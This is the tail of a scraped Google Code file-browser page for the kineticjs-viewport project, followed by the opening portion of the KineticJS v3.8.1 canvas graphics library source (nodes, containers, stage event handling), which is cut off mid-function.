<option value="/p/kineticjs-viewport/source/browse/js/libs/kinetic-v3.8.1.js?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/js/libs/kinetic-v3.8.1.js</option>
<option value="/p/kineticjs-viewport/source/browse/js/libs/modernizr-2.5.3.min.js?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/js/libs/modernizr-2.5.3.min.js</option>
<option value="/p/kineticjs-viewport/source/browse/js/libs/rgbcolor.js?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/js/libs/rgbcolor.js</option>
<option value="/p/kineticjs-viewport/source/browse/js/test.js?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/js/test.js</option>
<option value="/p/kineticjs-viewport/source/browse/js/variable-time-step-loop-1.0.0.js?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
selected="selected"
>...variable-time-step-loop-1.0.0.js</option>
<option value="/p/kineticjs-viewport/source/browse/notes.txt?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/notes.txt</option>
<option value="/p/kineticjs-viewport/source/browse/svg/butterfly.svg?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/svg/butterfly.svg</option>
<option value="/p/kineticjs-viewport/source/browse/test.html?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/test.html</option>
</select>
</td></tr></table>
<div id="review_instr" class="closed">
<a class="ifOpened" href="/p/kineticjs-viewport/source/detail?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68#publish">Publish your comments</a>
<div class="ifClosed">Double click a line to add a comment</div>
</div>
</div>
</div>
<div class="round1"></div>
<div class="round2"></div>
<div class="round4"></div>
</div>
<div class="pmeta_bubble_bg" style="border:1px solid white">
<div class="round4"></div>
<div class="round2"></div>
<div class="round1"></div>
<div class="box-inner">
<div id="older_bubble">
<p>Older revisions</p>
<a href="/p/kineticjs-viewport/source/list?path=/js/variable-time-step-loop-1.0.0.js&r=f89689fb60f6bafe804486ba044aca3e5a9eaf68">All revisions of this file</a>
</div>
</div>
<div class="round1"></div>
<div class="round2"></div>
<div class="round4"></div>
</div>
<div class="pmeta_bubble_bg" style="border:1px solid white">
<div class="round4"></div>
<div class="round2"></div>
<div class="round1"></div>
<div class="box-inner">
<div id="fileinfo_bubble">
<p>File info</p>
<div>Size: 2738 bytes,
116 lines</div>
<div><a href="//kineticjs-viewport.googlecode.com/git/js/variable-time-step-loop-1.0.0.js">View raw file</a></div>
</div>
</div>
<div class="round1"></div>
<div class="round2"></div>
<div class="round4"></div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="http://www.gstatic.com/codesite/ph/17979195433110598383/js/prettify/prettify.js"></script>
<script type="text/javascript">prettyPrint();</script>
<script src="http://www.gstatic.com/codesite/ph/17979195433110598383/js/source_file_scripts.js"></script>
<script type="text/javascript" src="https://kibbles.googlecode.com/files/kibbles-1.3.3.comp.js"></script>
<script type="text/javascript">
var lastStop = null;
var initialized = false;
function updateCursor(next, prev) {
if (prev && prev.element) {
prev.element.className = 'cursor_stop cursor_hidden';
}
if (next && next.element) {
next.element.className = 'cursor_stop cursor';
lastStop = next.index;
}
}
function pubRevealed(data) {
updateCursorForCell(data.cellId, 'cursor_stop cursor_hidden');
if (initialized) {
reloadCursors();
}
}
function draftRevealed(data) {
updateCursorForCell(data.cellId, 'cursor_stop cursor_hidden');
if (initialized) {
reloadCursors();
}
}
function draftDestroyed(data) {
updateCursorForCell(data.cellId, 'nocursor');
if (initialized) {
reloadCursors();
}
}
function reloadCursors() {
kibbles.skipper.reset();
loadCursors();
if (lastStop != null) {
kibbles.skipper.setCurrentStop(lastStop);
}
}
// possibly the simplest way to insert any newly added comments
// is to update the class of the corresponding cursor row,
// then refresh the entire list of rows.
function updateCursorForCell(cellId, className) {
var cell = document.getElementById(cellId);
// we have to go two rows back to find the cursor location
var row = getPreviousElement(cell.parentNode);
row.className = className;
}
// returns the previous element, ignores text nodes.
function getPreviousElement(e) {
var element = e.previousSibling;
if (element.nodeType == 3) {
element = element.previousSibling;
}
if (element && element.tagName) {
return element;
}
}
function loadCursors() {
// register our elements with skipper
var elements = CR_getElements('*', 'cursor_stop');
var len = elements.length;
for (var i = 0; i < len; i++) {
var element = elements[i];
element.className = 'cursor_stop cursor_hidden';
kibbles.skipper.append(element);
}
}
function toggleComments() {
CR_toggleCommentDisplay();
reloadCursors();
}
function keysOnLoadHandler() {
// setup skipper
kibbles.skipper.addStopListener(
kibbles.skipper.LISTENER_TYPE.PRE, updateCursor);
// Set the 'offset' option to return the middle of the client area
// an option can be a static value, or a callback
kibbles.skipper.setOption('padding_top', 50);
// Set the 'offset' option to return the middle of the client area
// an option can be a static value, or a callback
kibbles.skipper.setOption('padding_bottom', 100);
// Register our keys
kibbles.skipper.addFwdKey("n");
kibbles.skipper.addRevKey("p");
kibbles.keys.addKeyPressListener(
'u', function() { window.location = detail_url; });
kibbles.keys.addKeyPressListener(
'r', function() { window.location = detail_url + '#publish'; });
kibbles.keys.addKeyPressListener('j', gotoNextPage);
kibbles.keys.addKeyPressListener('k', gotoPreviousPage);
kibbles.keys.addKeyPressListener('h', toggleComments);
}
</script>
<script src="http://www.gstatic.com/codesite/ph/17979195433110598383/js/code_review_scripts.js"></script>
<script type="text/javascript">
function showPublishInstructions() {
var element = document.getElementById('review_instr');
if (element) {
element.className = 'opened';
}
}
var codereviews;
function revsOnLoadHandler() {
// register our source container with the commenting code
var paths = {'svnf89689fb60f6bafe804486ba044aca3e5a9eaf68': '/js/variable-time-step-loop-1.0.0.js'}
codereviews = CR_controller.setup(
{"profileUrl":["/u/100630599901009391548/"],"token":"QeQ3CrvbjWSIt0B6Qa8mNe8zI2Y:1334507683279","assetHostPath":"http://www.gstatic.com/codesite/ph","domainName":null,"assetVersionPath":"http://www.gstatic.com/codesite/ph/17979195433110598383","projectHomeUrl":"/p/kineticjs-viewport","relativeBaseUrl":"","projectName":"kineticjs-viewport","loggedInUserEmail":"alundgren04@gmail.com"}, '', 'svnf89689fb60f6bafe804486ba044aca3e5a9eaf68', paths,
CR_BrowseIntegrationFactory);
// register our source container with the commenting code
// in this case we're registering the container and the revison
// associated with the contianer which may be the primary revision
// or may be a previous revision against which the primary revision
// of the file is being compared.
codereviews.registerSourceContainer(document.getElementById('lines'), 'svnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
codereviews.registerActivityListener(CR_ActivityType.REVEAL_DRAFT_PLATE, showPublishInstructions);
codereviews.registerActivityListener(CR_ActivityType.REVEAL_PUB_PLATE, pubRevealed);
codereviews.registerActivityListener(CR_ActivityType.REVEAL_DRAFT_PLATE, draftRevealed);
codereviews.registerActivityListener(CR_ActivityType.DISCARD_DRAFT_COMMENT, draftDestroyed);
var initialized = true;
reloadCursors();
}
window.onload = function() {keysOnLoadHandler(); revsOnLoadHandler();};
</script>
<script type="text/javascript" src="http://www.gstatic.com/codesite/ph/17979195433110598383/js/dit_scripts.js"></script>
<script type="text/javascript" src="http://www.gstatic.com/codesite/ph/17979195433110598383/js/ph_core.js"></script>
<script type="text/javascript" src="/js/codesite_product_dictionary_ph.pack.04102009.js"></script>
</div>
<div id="footer" dir="ltr">
<div class="text">
©2011 Google -
<a href="/projecthosting/terms.html">Terms</a> -
<a href="http://www.google.com/privacy.html">Privacy</a> -
<a href="/p/support/">Project Hosting Help</a>
</div>
</div>
<div class="hostedBy" style="margin-top: -20px;">
<span style="vertical-align: top;">Powered by <a href="http://code.google.com/projecthosting/">Google Project Hosting</a></span>
</div>
</body>
</html>
| JavaScript |
/**
* KineticJS JavaScript Library v3.8.1
* http://www.kineticjs.com/
* Copyright 2012, Eric Rowell
* Licensed under the MIT or GPL Version 2 licenses.
* Date: Feb 26 2012
*
* Copyright (C) 2011 - 2012 by Eric Rowell
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
///////////////////////////////////////////////////////////////////////
// Global Object
///////////////////////////////////////////////////////////////////////
var Kinetic = {};
Kinetic.GlobalObject = {
stages: [],
idCounter: 0,
isAnimating: false,
frame: {
time: 0,
timeDiff: 0,
lastTime: 0
},
extend: function(obj1, obj2){
for (var key in obj2.prototype) {
if (obj2.prototype.hasOwnProperty(key)) {
obj1.prototype[key] = obj2.prototype[key];
}
}
},
/*
* animation methods
*/
_isaCanvasAnimating: function(){
for (var n = 0; n < this.stages.length; n++) {
if (this.stages[n].isAnimating) {
return true;
}
}
return false;
},
_runFrames: function(){
for (var n = 0; n < this.stages.length; n++) {
if (this.stages[n].isAnimating) {
this.stages[n].onFrameFunc(this.frame);
}
}
},
_updateFrameObject: function(){
var date = new Date();
var time = date.getTime();
if (this.frame.lastTime === 0) {
this.frame.lastTime = time;
}
else {
this.frame.timeDiff = time - this.frame.lastTime;
this.frame.lastTime = time;
this.frame.time += this.frame.timeDiff;
}
},
_animationLoop: function(){
if (this.isAnimating) {
this._updateFrameObject();
this._runFrames();
var that = this;
requestAnimFrame(function(){
that._animationLoop();
});
}
},
_handleAnimation: function(){
var that = this;
if (!this.isAnimating && this._isaCanvasAnimating()) {
this.isAnimating = true;
that._animationLoop();
}
else if (this.isAnimating && !this._isaCanvasAnimating()) {
this.isAnimating = false;
}
}
};
/**
* requestAnimFrame shim
* @param {function} callback
*/
window.requestAnimFrame = (function(callback){
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
window.oRequestAnimationFrame ||
window.msRequestAnimationFrame ||
function(callback){
window.setTimeout(callback, 1000 / 60);
};
})();
///////////////////////////////////////////////////////////////////////
// Node
///////////////////////////////////////////////////////////////////////
/**
* Node constructor. Node is a base class for the
* Layer, Group, and Shape classes
* @param {Object} name
*/
Kinetic.Node = function(config){
this.visible = true;
this.isListening = true;
this.name = undefined;
this.alpha = 1;
this.x = 0;
this.y = 0;
this.scale = {
x: 1,
y: 1
};
this.rotation = 0;
this.centerOffset = {
x: 0,
y: 0
};
this.eventListeners = {};
this.drag = {
x: false,
y: false,
moving: false
};
// set properties from config
if (config) {
for (var key in config) {
// handle special keys
if (key === "draggable") {
this.draggable(config[key]);
}
else if (key === "draggableX") {
this.draggableX(config[key]);
}
else if (key === "draggableY") {
this.draggableY(config[key]);
}
else if (key === "listen") {
this.listen(config[key]);
}
else {
this[key] = config[key];
}
}
}
};
Kinetic.Node.prototype = {
/**
* bind event to node
* @param {String} typesStr
* @param {function} handler
*/
on: function(typesStr, handler){
var types = typesStr.split(" ");
/*
* loop through types and attach event listeners to
* each one. eg. "click mouseover.namespace mouseout"
* will create three event bindings
*/
for (var n = 0; n < types.length; n++) {
var type = types[n];
var event = (type.indexOf('touch') === -1) ? 'on' + type : type;
var parts = event.split(".");
var baseEvent = parts[0];
var name = parts.length > 1 ? parts[1] : "";
if (!this.eventListeners[baseEvent]) {
this.eventListeners[baseEvent] = [];
}
this.eventListeners[baseEvent].push({
name: name,
handler: handler
});
}
},
/**
* unbind event to node
* @param {String} typesStr
*/
off: function(typesStr){
var types = typesStr.split(" ");
for (var n = 0; n < types.length; n++) {
var type = types[n];
var event = (type.indexOf('touch') === -1) ? 'on' + type : type;
var parts = event.split(".");
var baseEvent = parts[0];
if (this.eventListeners[baseEvent] && parts.length > 1) {
var name = parts[1];
for (var i = 0; i < this.eventListeners[baseEvent].length; i++) {
if (this.eventListeners[baseEvent][i].name === name) {
this.eventListeners[baseEvent].splice(i, 1);
if (this.eventListeners[baseEvent].length === 0) {
this.eventListeners[baseEvent] = undefined;
}
break;
}
}
}
else {
this.eventListeners[baseEvent] = undefined;
}
}
},
/**
* show node
*/
show: function(){
this.visible = true;
},
/**
* hide node
*/
hide: function(){
this.visible = false;
},
/**
* get zIndex
*/
getZIndex: function(){
return this.index;
},
/**
* set node scale
* @param {number} scaleX
* @param {number} scaleY
*/
setScale: function(scaleX, scaleY){
if (scaleY) {
this.scale.x = scaleX;
this.scale.y = scaleY;
}
else {
this.scale.x = scaleX;
this.scale.y = scaleX;
}
},
/**
* get scale
*/
getScale: function(){
return this.scale;
},
/**
* set node position
* @param {number} x
* @param {number} y
*/
setPosition: function(x, y){
this.x = x;
this.y = y;
},
/**
* get node position relative to container
*/
getPosition: function(){
return {
x: this.x,
y: this.y
};
},
/**
* get absolute position relative to stage
*/
getAbsolutePosition: function(){
var x = this.x;
var y = this.y;
var parent = this.getParent();
while (parent.className !== "Stage") {
x += parent.x;
y += parent.y;
parent = parent.parent;
}
return {
x: x,
y: y
};
},
/**
* move node
* @param {number} x
* @param {number} y
*/
move: function(x, y){
this.x += x;
this.y += y;
},
/**
* set node rotation
* @param {number} theta
*/
setRotation: function(theta){
this.rotation = theta;
},
/**
* get rotation
*/
getRotation: function(){
return this.rotation;
},
/**
* rotate node
* @param {number} theta
*/
rotate: function(theta){
this.rotation += theta;
},
/**
* listen or don't listen to events
* @param {boolean} isListening
*/
listen: function(isListening){
this.isListening = isListening;
},
/**
* move node to top
*/
moveToTop: function(){
var index = this.index;
this.parent.children.splice(index, 1);
this.parent.children.push(this);
this.parent._setChildrenIndices();
},
/**
* move node up
*/
moveUp: function(){
var index = this.index;
this.parent.children.splice(index, 1);
this.parent.children.splice(index + 1, 0, this);
this.parent._setChildrenIndices();
},
/**
* move node down
*/
moveDown: function(){
var index = this.index;
if (index > 0) {
this.parent.children.splice(index, 1);
this.parent.children.splice(index - 1, 0, this);
this.parent._setChildrenIndices();
}
},
/**
* move node to bottom
*/
moveToBottom: function(){
var index = this.index;
this.parent.children.splice(index, 1);
this.parent.children.unshift(this);
this.parent._setChildrenIndices();
},
/**
* set zIndex
* @param {int} index
*/
setZIndex: function(zIndex){
var index = this.index;
this.parent.children.splice(index, 1);
this.parent.children.splice(zIndex, 0, this);
this.parent._setChildrenIndices();
},
/**
* set alpha
* @param {Object} alpha
*/
setAlpha: function(alpha){
this.alpha = alpha;
},
/**
* get alpha
*/
getAlpha: function(){
return this.alpha;
},
/**
* get absolute alpha
*/
getAbsoluteAlpha: function(){
var absAlpha = 1;
var node = this;
// traverse upwards
while (node.className !== "Stage") {
absAlpha *= node.alpha;
node = node.parent;
}
return absAlpha;
},
/**
* initialize drag and drop
*/
_initDrag: function(){
var that = this;
this.on("mousedown.initdrag touchstart.initdrag", function(evt){
var stage = that.getStage();
var pos = stage.getUserPosition();
if (pos) {
stage.nodeDragging = that;
stage.nodeDragging.offset = {};
stage.nodeDragging.offset.x = pos.x - that.x;
stage.nodeDragging.offset.y = pos.y - that.y;
}
});
},
/**
* remove drag and drop event listener
*/
_dragCleanup: function(){
if (!this.drag.x && !this.drag.y) {
this.off("mousedown.initdrag");
this.off("touchstart.initdrag");
}
},
/**
* enable/disable drag and drop for box x and y direction
* @param {boolean} setDraggable
*/
draggable: function(setDraggable){
if (setDraggable) {
var needInit = !this.drag.x && !this.drag.y;
this.drag.x = true;
this.drag.y = true;
if (needInit) {
this._initDrag();
}
}
else {
this.drag.x = false;
this.drag.y = false;
this._dragCleanup();
}
},
/**
* enable/disable drag and drop for x only
* @param {boolean} setDraggable
*/
draggableX: function(setDraggable){
if (setDraggable) {
var needInit = !this.drag.x && !this.drag.y;
this.drag.x = true;
if (needInit) {
this._initDrag();
}
}
else {
this.drag.x = false;
this._dragCleanup();
}
},
/**
* enable/disable drag and drop for y only
* @param {boolean} setDraggable
*/
draggableY: function(setDraggable){
if (setDraggable) {
var needInit = !this.drag.x && !this.drag.y;
this.drag.y = true;
if (needInit) {
this._initDrag();
}
}
else {
this.drag.y = false;
this._dragCleanup();
}
},
/**
* determine if node is currently in drag mode
*/
isDragging: function(){
return this.drag.moving;
},
/**
* handle node events
* @param {string} eventType
* @param {Event} evt
*/
_handleEvents: function(eventType, evt){
// generic events handler
function handle(obj){
var el = obj.eventListeners;
if (el[eventType]) {
var events = el[eventType];
for (var i = 0; i < events.length; i++) {
events[i].handler.apply(obj, [evt]);
}
}
if (obj.parent.className !== "Stage") {
handle(obj.parent);
}
}
/*
* simulate bubbling by handling node events
* first, followed by group events, followed
* by layer events
*/
handle(this);
},
/**
* move node to another container
* @param {Layer} newLayer
*/
moveTo: function(newContainer){
var parent = this.parent;
// remove from parent's children
parent.children.splice(this.index, 1);
parent._setChildrenIndices();
// add to new parent
newContainer.children.push(this);
this.index = newContainer.children.length - 1;
this.parent = newContainer;
newContainer._setChildrenIndices();
// update children hashes
if (this.name) {
parent.childrenNames[this.name] = undefined;
newContainer.childrenNames[this.name] = this;
}
},
/**
* get parent
*/
getParent: function(){
return this.parent;
},
/**
* get node's layer
*/
getLayer: function(){
if (this.className === 'Layer') {
return this;
}
else {
return this.getParent().getLayer();
}
},
/**
* get stage
*/
getStage: function(){
return this.getParent().getStage();
},
/**
* get name
*/
getName: function(){
return this.name;
}
};
///////////////////////////////////////////////////////////////////////
// Container
///////////////////////////////////////////////////////////////////////
/**
* Container constructor. Container is the base class for
* Stage, Layer, and Group
*/
Kinetic.Container = function(){
this.children = [];
this.childrenNames = {};
};
// methods
Kinetic.Container.prototype = {
/**
* set children indices
*/
_setChildrenIndices: function(){
/*
* if reordering Layers, remove all canvas elements
* from the container except the buffer and backstage canvases
* and then readd all the layers
*/
if (this.className === "Stage") {
var canvases = this.container.childNodes;
var bufferCanvas = canvases[0];
var backstageCanvas = canvases[1];
this.container.innerHTML = "";
this.container.appendChild(bufferCanvas);
this.container.appendChild(backstageCanvas);
}
for (var n = 0; n < this.children.length; n++) {
this.children[n].index = n;
if (this.className === "Stage") {
this.container.appendChild(this.children[n].canvas);
}
}
},
/**
* recursively traverse the container tree
* and draw the children
* @param {Object} obj
*/
_drawChildren: function(){
var children = this.children;
for (var n = 0; n < children.length; n++) {
var child = children[n];
if (child.className === "Shape") {
child._draw(child.getLayer());
}
else {
child._draw();
}
}
},
/**
* get children
*/
getChildren: function(){
return this.children;
},
/**
* get node by name
* @param {string} name
*/
getChild: function(name){
return this.childrenNames[name];
},
/**
* add node to container
* @param {Node} child
*/
_add: function(child){
if (child.name) {
this.childrenNames[child.name] = child;
}
child.id = Kinetic.GlobalObject.idCounter++;
child.index = this.children.length;
child.parent = this;
this.children.push(child);
},
/**
* remove child from container
* @param {Node} child
*/
_remove: function(child){
if (child.name !== undefined) {
this.childrenNames[child.name] = undefined;
}
this.children.splice(child.index, 1);
this._setChildrenIndices();
child = undefined;
}
};
///////////////////////////////////////////////////////////////////////
// Stage
///////////////////////////////////////////////////////////////////////
/**
* Stage constructor. Stage extends Container
* @param {String} containerId
* @param {int} width
* @param {int} height
*/
Kinetic.Stage = function(cont, width, height){
this.className = "Stage";
this.container = typeof cont === "string" ? document.getElementById(cont) : cont;
this.width = width;
this.height = height;
this.scale = {
x: 1,
y: 1
};
this.dblClickWindow = 400;
this.targetShape = undefined;
this.clickStart = false;
// desktop flags
this.mousePos = undefined;
this.mouseDown = false;
this.mouseUp = false;
// mobile flags
this.touchPos = undefined;
this.touchStart = false;
this.touchEnd = false;
/*
* Layer roles
*
* buffer - canvas compositing
* backstage - path detection
*/
this.bufferLayer = new Kinetic.Layer();
this.backstageLayer = new Kinetic.Layer();
// set parents
this.bufferLayer.parent = this;
this.backstageLayer.parent = this;
// customize back stage context
var backstageLayer = this.backstageLayer;
this._stripLayer(backstageLayer);
this.bufferLayer.getCanvas().style.display = 'none';
this.backstageLayer.getCanvas().style.display = 'none';
// add buffer layer
this.bufferLayer.canvas.width = this.width;
this.bufferLayer.canvas.height = this.height;
this.container.appendChild(this.bufferLayer.canvas);
// add backstage layer
this.backstageLayer.canvas.width = this.width;
this.backstageLayer.canvas.height = this.height;
this.container.appendChild(this.backstageLayer.canvas);
this._listen();
this._prepareDrag();
// add stage to global object
var stages = Kinetic.GlobalObject.stages;
stages.push(this);
// set stage id
this.id = Kinetic.GlobalObject.idCounter++;
// animation support
this.isAnimating = false;
this.onFrameFunc = undefined;
// call super constructor
Kinetic.Container.apply(this, []);
};
/*
* Stage methods
*/
Kinetic.Stage.prototype = {
/**
* sets onFrameFunc for animation
*/
onFrame: function(func){
this.onFrameFunc = func;
},
/**
* start animation
*/
start: function(){
this.isAnimating = true;
Kinetic.GlobalObject._handleAnimation();
},
/**
* stop animation
*/
stop: function(){
this.isAnimating = false;
Kinetic.GlobalObject._handleAnimation();
},
/**
* draw children
*/
draw: function(){
this._drawChildren();
},
/**
* disable layer rendering
* @param {Layer} layer
*/
_stripLayer: function(layer){
layer.context.stroke = function(){
};
layer.context.fill = function(){
};
layer.context.fillRect = function(x, y, width, height){
layer.context.rect(x, y, width, height);
};
layer.context.strokeRect = function(x, y, width, height){
layer.context.rect(x, y, width, height);
};
layer.context.drawImage = function(){
};
layer.context.fillText = function(){
};
layer.context.strokeText = function(){
};
},
/**
* end drag and drop
*/
_endDrag: function(evt){
if (this.nodeDragging) {
if (this.nodeDragging.drag.moving) {
this.nodeDragging.drag.moving = false;
this.nodeDragging._handleEvents("ondragend", evt);
}
}
this.nodeDragging = undefined;
},
/**
* prepare drag and drop
*/
_prepareDrag: function(){
var that = this;
this.on("mousemove touchmove", function(evt){
if (that.nodeDragging) {
var pos = that.getUserPosition();
if (that.nodeDragging.drag.x) {
that.nodeDragging.x = pos.x - that.nodeDragging.offset.x;
}
if (that.nodeDragging.drag.y) {
that.nodeDragging.y = pos.y - that.nodeDragging.offset.y;
}
that.nodeDragging.getLayer().draw();
if (!that.nodeDragging.drag.moving) {
that.nodeDragging.drag.moving = true;
// execute dragstart events if defined
that.nodeDragging._handleEvents("ondragstart", evt);
}
// execute user defined ondragmove if defined
that.nodeDragging._handleEvents("ondragmove", evt);
}
}, false);
this.on("mouseup touchend mouseout", function(evt){
that._endDrag(evt);
});
},
/**
* set stage size
* @param {int} width
* @param {int} height
*/
setSize: function(width, height){
var layers = this.children;
for (var n = 0; n < layers.length; n++) {
var layer = layers[n];
layer.getCanvas().width = width;
layer.getCanvas().height = height;
layer.draw();
}
// set stage dimensions
this.width = width;
this.height = height;
// set buffer layer and backstage layer sizes
this.bufferLayer.getCanvas().width = width;
this.bufferLayer.getCanvas().height = height;
this.backstageLayer.getCanvas().width = width;
this.backstageLayer.getCanvas().height = height;
},
/**
* set stage scale
* @param {int} scaleX
* @param {int} scaleY
*/
setScale: function(scaleX, scaleY){
var oldScaleX = this.scale.x;
var oldScaleY = this.scale.y;
if (scaleY) {
this.scale.x = scaleX;
this.scale.y = scaleY;
}
else {
this.scale.x = scaleX;
this.scale.y = scaleX;
}
/*
* scale all shape positions
*/
var layers = this.children;
var that = this;
function scaleChildren(children){
for (var i = 0; i < children.length; i++) {
var child = children[i];
child.x *= that.scale.x / oldScaleX;
child.y *= that.scale.y / oldScaleY;
if (child.children) {
scaleChildren(child.children);
}
}
}
scaleChildren(layers);
},
/**
* get scale
*/
getScale: function(){
return this.scale;
},
/**
* clear all layers
*/
clear: function(){
var layers = this.children;
for (var n = 0; n < layers.length; n++) {
layers[n].clear();
}
},
/**
* creates a composite data URL and passes it to a callback
* @param {function} callback
*/
toDataURL: function(callback){
var bufferLayer = this.bufferLayer;
var bufferContext = bufferLayer.getContext();
var layers = this.children;
function addLayer(n){
var dataURL = layers[n].getCanvas().toDataURL();
var imageObj = new Image();
imageObj.onload = function(){
bufferContext.drawImage(this, 0, 0);
n++;
if (n < layers.length) {
addLayer(n);
}
else {
callback(bufferLayer.getCanvas().toDataURL());
}
};
imageObj.src = dataURL;
}
bufferLayer.clear();
addLayer(0);
},
/**
* remove layer from stage
* @param {Layer} layer
*/
remove: function(layer){
// remove layer canvas from dom
this.container.removeChild(layer.canvas);
this._remove(layer);
},
/**
* bind event listener to stage (which is essentially
* the container DOM)
* @param {string} type
* @param {function} handler
*/
on: function(typesStr, handler){
var types = typesStr.split(" ");
for (var n = 0; n < types.length; n++) {
var baseEvent = types[n];
this.container.addEventListener(baseEvent, handler, false);
}
},
/**
* add layer to stage
* @param {Layer} layer
*/
add: function(layer){
if (layer.name) {
this.childrenNames[layer.name] = layer;
}
layer.canvas.width = this.width;
layer.canvas.height = this.height;
this._add(layer);
// draw layer and append canvas to container
layer.draw();
this.container.appendChild(layer.canvas);
},
/**
* handle incoming event
* @param {Event} evt
*/
_handleEvent: function(evt){
if (!evt) {
evt = window.event;
}
this._setMousePosition(evt);
this._setTouchPosition(evt);
var backstageLayer = this.backstageLayer;
var backstageLayerContext = backstageLayer.getContext();
var that = this;
backstageLayer.clear();
/*
* loop through layers. If at any point an event
* is triggered, n is set to -1 which will break out of the
* three nested loops
*/
var targetFound = false;
function detectEvent(shape){
shape._draw(backstageLayer);
var pos = that.getUserPosition();
var el = shape.eventListeners;
if (that.targetShape && shape.id === that.targetShape.id) {
targetFound = true;
}
if (shape.visible && pos !== undefined && backstageLayerContext.isPointInPath(pos.x, pos.y)) {
// handle onmousedown
if (that.mouseDown) {
that.mouseDown = false;
that.clickStart = true;
shape._handleEvents("onmousedown", evt);
return true;
}
// handle onmouseup & onclick
else if (that.mouseUp) {
that.mouseUp = false;
shape._handleEvents("onmouseup", evt);
// detect if click or double click occurred
if (that.clickStart) {
/*
* if dragging and dropping, don't fire click or dbl click
* event
*/
if ((that.nodeDragging && !that.nodeDragging.drag.moving) || !that.nodeDragging) {
shape._handleEvents("onclick", evt);
if (shape.inDoubleClickWindow) {
shape._handleEvents("ondblclick", evt);
}
shape.inDoubleClickWindow = true;
setTimeout(function(){
shape.inDoubleClickWindow = false;
}, that.dblClickWindow);
}
}
return true;
}
// handle touchstart
else if (that.touchStart) {
that.touchStart = false;
shape._handleEvents("touchstart", evt);
if (el.ondbltap && shape.inDoubleClickWindow) {
var events = el.ondbltap;
for (var i = 0; i < events.length; i++) {
events[i].handler.apply(shape, [evt]);
}
}
shape.inDoubleClickWindow = true;
setTimeout(function(){
shape.inDoubleClickWindow = false;
}, that.dblClickWindow);
return true;
}
// handle touchend
else if (that.touchEnd) {
that.touchEnd = false;
shape._handleEvents("touchend", evt);
return true;
}
// handle touchmove
else if (el.touchmove) {
shape._handleEvents("touchmove", evt);
return true;
}
//this condition is used to identify a new target shape.
else if (!that.targetShape || (!targetFound && shape.id !== that.targetShape.id)) {
/*
* check if old target has an onmouseout event listener
*/
if (that.targetShape) {
var oldEl = that.targetShape.eventListeners;
if (oldEl) {
that.targetShape._handleEvents("onmouseout", evt);
}
}
// set new target shape
that.targetShape = shape;
// handle onmouseover
shape._handleEvents("onmouseover", evt);
return true;
}
// handle onmousemove
else {
shape._handleEvents("onmousemove", evt);
return true;
}
}
// handle mouseout condition
else if (that.targetShape && that.targetShape.id === shape.id) {
that.targetShape = undefined;
shape._handleEvents("onmouseout", evt);
return true;
}
return false;
}
function traverseChildren(obj){
var children = obj.children;
// propapgate backwards through children
for (var i = children.length - 1; i >= 0; i--) {
var child = children[i];
if (child.className === "Shape") {
var exit = detectEvent(child);
if (exit) {
return true;
}
}
else {
traverseChildren(child);
}
}
return false;
}
for (var n = this.children.length - 1; n >= 0; n--) {
var layer = this.children[n];
if (layer.visible && n >= 0 && layer.isListening) {
if (traverseChildren(layer)) {
n = -1;
}
}
}
},
/**
* begin listening for events by adding event handlers
* to the container
*/
_listen: function(){
var that = this;
// desktop events
this.container.addEventListener("mousedown", function(evt){
that.mouseDown = true;
that._handleEvent(evt);
}, false);
this.container.addEventListener("mousemove", function(evt){
that.mouseUp = false;
that.mouseDown = false;
that._handleEvent(evt);
}, false);
this.container.addEventListener("mouseup", function(evt){
that.mouseUp = true;
that.mouseDown = false;
that._handleEvent(evt);
that.clickStart = false;
}, false);
this.container.addEventListener("mouseover", function(evt){
that._handleEvent(evt);
}, false);
this.container.addEventListener("mouseout", function(evt){
that.mousePos = undefined;
}, false);
// mobile events
this.container.addEventListener("touchstart", function(evt){
evt.preventDefault();
that.touchStart = true;
that._handleEvent(evt);
}, false);
this.container.addEventListener("touchmove", function(evt){
evt.preventDefault();
that._handleEvent(evt);
}, false);
this.container.addEventListener("touchend", function(evt){
evt.preventDefault();
that.touchEnd = true;
that._handleEvent(evt);
}, false);
},
/**
* get mouse position for desktop apps
* @param {Event} evt
*/
getMousePosition: function(evt){
return this.mousePos;
},
/**
* get touch position for mobile apps
* @param {Event} evt
*/
getTouchPosition: function(evt){
return this.touchPos;
},
/**
* get user position (mouse position or touch position)
* @param {Event} evt
*/
getUserPosition: function(evt){
